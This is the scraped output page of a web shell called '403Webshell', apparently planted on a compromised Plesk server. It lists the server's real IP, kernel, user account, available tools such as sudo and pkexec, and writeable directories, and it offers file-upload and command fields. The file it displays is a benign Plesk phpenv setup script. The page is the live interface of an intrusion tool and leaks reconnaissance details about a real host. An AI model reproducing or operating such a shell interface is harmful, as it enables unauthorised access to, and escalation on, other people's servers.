403Webshell
Server IP : 198.71.59.75  /  Your IP : 216.73.216.240
Web Server : nginx/1.30.2
System : Linux elegant-dhawan.198-71-59-75.plesk.page 5.15.0-105-generic #115-Ubuntu SMP Mon Apr 15 09:52:04 UTC 2024 x86_64
User : realtyna_guys ( 10000)
PHP Version : 8.2.31
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /etc/profile.d/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /etc/profile.d/phpenv.sh
### Copyright 1999-2026. WebPros International GmbH. All rights reserved.

# Enables phpenv and its shims for all Plesk subscription users

# Disable phpenv if either of the following is true:
# * user is not a Plesk subscription user
# * user is running under CageFS, chrooted shell, or similar
# * phpenv is not executable
# * ~/.nophpenv exists and is a regular file
# * 'php.phpenv' is disabled in panel.ini (contains '[php]phpenv = off' or equivalent)
if id -Gn | grep -q '\<psacln\>' &&
	[ -e /dev/fd -a -x /opt/plesk/phpenv/bin/phpenv -a ! -f ~/.nophpenv ] &&
	! sed -ne '/^\s*\[php\]\s*$/,/^\s*\[/ s/^phpenv\s*=\s*\(.*\)\s*$/\1/g p' /usr/local/psa/admin/conf/panel.ini 2>/dev/null |
		tail -n1 | grep -Eiq 'off|false|no|0'
then
	if [ ! -e ~/.phpenv ]; then
		mkdir -p ~/.phpenv
		ln -snfT /opt/plesk/php ~/.phpenv/versions
	fi

	export PATH="/opt/plesk/phpenv/bin:$PATH"
	eval "$(phpenv init -)"
fi

Youez - 2016 - github.com/yon3zu
LinuXploit